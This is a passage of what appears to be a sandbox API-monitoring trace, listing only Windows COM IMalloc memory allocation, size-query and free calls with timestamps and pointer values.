[0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6800) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6940) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6de0) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a40) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6900) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6980) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67c0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a20) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6be0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c60) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d00) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6880) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ce0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c40) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b511200) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829830) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05900) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05db0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829eb0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06140) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a4b0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05b10) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05de0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb058d0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05a20) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05ba0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06110) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05b70) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829cb0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a470) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05930) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb062c0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67e0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d80) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ca0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a00) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb061d0) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06170) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05960) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05720) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829870) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829770) [0111.278] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05990) [0111.279] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb060b0) [0111.279] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05ae0) [0111.279] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05c00) [0111.279] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05e10) [0111.279] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb059c0) [0111.279] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb059f0) [0111.279] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b8299b0 [0111.279] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b82a5f0 [0111.279] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05780 [0111.279] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05b40 [0111.279] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05c90 [0111.279] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06110 [0111.279] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05de0 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05840 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50f180 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d00 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f60 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6860 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68a0 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ee0 [0111.280] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b882280 [0111.280] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882280) returned 0x40 [0111.284] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091e0 [0111.284] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) returned 0x8 [0111.284] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d00) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68a0) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50f180) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8299b0) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a5f0) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05780) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05b40) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05c90) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb06110) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05de0) [0111.285] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05840) [0111.286] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829ab0 [0111.286] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05ba0 [0111.286] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05cf0 [0111.286] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b82a5f0 [0111.286] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05b10 [0111.286] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b829c70 [0111.286] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05720 [0111.286] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05a50 [0111.287] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb059f0 [0111.287] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05780 [0111.287] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb06290 [0111.287] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82a330 [0111.287] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb05ff0 [0111.287] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764bb05c60 [0111.296] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6d40 [0111.296] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x18 [0111.296] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.296] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09060 [0111.296] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09060) returned 0x8 [0111.297] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09060) [0111.297] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0111.297] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0111.297] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0111.297] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.297] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.297] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.297] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05870 [0111.297] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05870) returned 0x20 [0111.297] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05870) [0111.297] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a170 [0111.297] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b82a170) returned 0x30 [0111.298] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a170) [0111.298] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b881bf0 [0111.298] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) returned 0x48 [0111.299] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) [0111.299] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.299] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.300] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.300] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09270 [0111.300] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09270) returned 0x8 [0111.301] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09270) [0111.301] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.301] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.302] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.302] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092d0 [0111.302] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) returned 0x8 [0111.304] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) [0111.304] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.304] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.305] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.305] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.305] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.307] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.307] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09050 [0111.307] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09050) returned 0x8 [0111.309] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09050) [0111.309] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.309] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.309] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.309] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0111.310] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0111.310] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0111.310] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.310] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.310] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.310] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0111.310] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0111.311] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0111.311] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f20 [0111.311] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) returned 0x10 [0111.311] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) [0111.311] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091a0 [0111.311] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) returned 0x8 [0111.311] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) [0111.311] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0111.311] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) returned 0x10 [0111.312] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0111.312] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09100 [0111.312] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09100) returned 0x8 [0111.312] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09100) [0111.312] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0111.312] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) returned 0x10 [0111.312] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0111.312] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0111.312] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0111.313] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0111.313] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.313] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.313] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.313] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0111.313] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0111.330] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0111.330] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.330] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.330] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.330] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0111.330] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0111.330] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0111.330] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.331] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.341] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.341] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f20 [0111.341] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) returned 0x10 [0111.342] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) [0111.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09200 [0111.342] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09200) returned 0x8 [0111.342] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09200) [0111.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6840 [0111.342] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6840) returned 0x10 [0111.343] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6840) [0111.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091d0 [0111.343] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) returned 0x8 [0111.343] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091d0) [0111.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.343] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.343] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0111.344] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0111.344] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0111.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.344] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.344] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092c0 [0111.344] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) returned 0x8 [0111.345] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) [0111.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.345] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.346] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090e0 [0111.346] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) returned 0x8 [0111.346] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) [0111.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f20 [0111.346] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) returned 0x10 [0111.347] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) [0111.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6840 [0111.347] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6840) returned 0x10 [0111.347] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6840) [0111.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.347] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.347] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0111.347] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) returned 0x10 [0111.348] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0111.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.348] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.348] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09300 [0111.348] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09300) returned 0x8 [0111.348] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09300) [0111.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.348] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.349] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09130 [0111.349] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09130) returned 0x8 [0111.349] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09130) [0111.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6840 [0111.349] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6840) returned 0x10 [0111.349] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6840) [0111.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0111.349] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0111.349] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0111.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.350] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.350] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090c0 [0111.350] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090c0) returned 0x8 [0111.350] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090c0) [0111.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092d0 [0111.350] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) returned 0x8 [0111.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) [0111.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fe0 [0111.351] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) returned 0x8 [0111.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) [0111.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.351] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.351] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09120 [0111.352] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09120) returned 0x8 [0111.352] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09120) [0111.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.352] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.352] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09030 [0111.352] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09030) returned 0x8 [0111.352] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09030) [0111.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.352] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.353] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09120 [0111.353] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09120) returned 0x8 [0111.353] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09120) [0111.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.353] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.353] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090c0 [0111.353] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090c0) returned 0x8 [0111.354] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090c0) [0111.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6d40 [0111.354] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x18 [0111.354] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09120 [0111.355] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09120) returned 0x8 [0111.355] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09120) [0111.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f90 [0111.355] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) returned 0x8 [0111.355] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) [0111.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.355] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) returned 0x10 [0111.355] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.355] IMalloc:Alloc 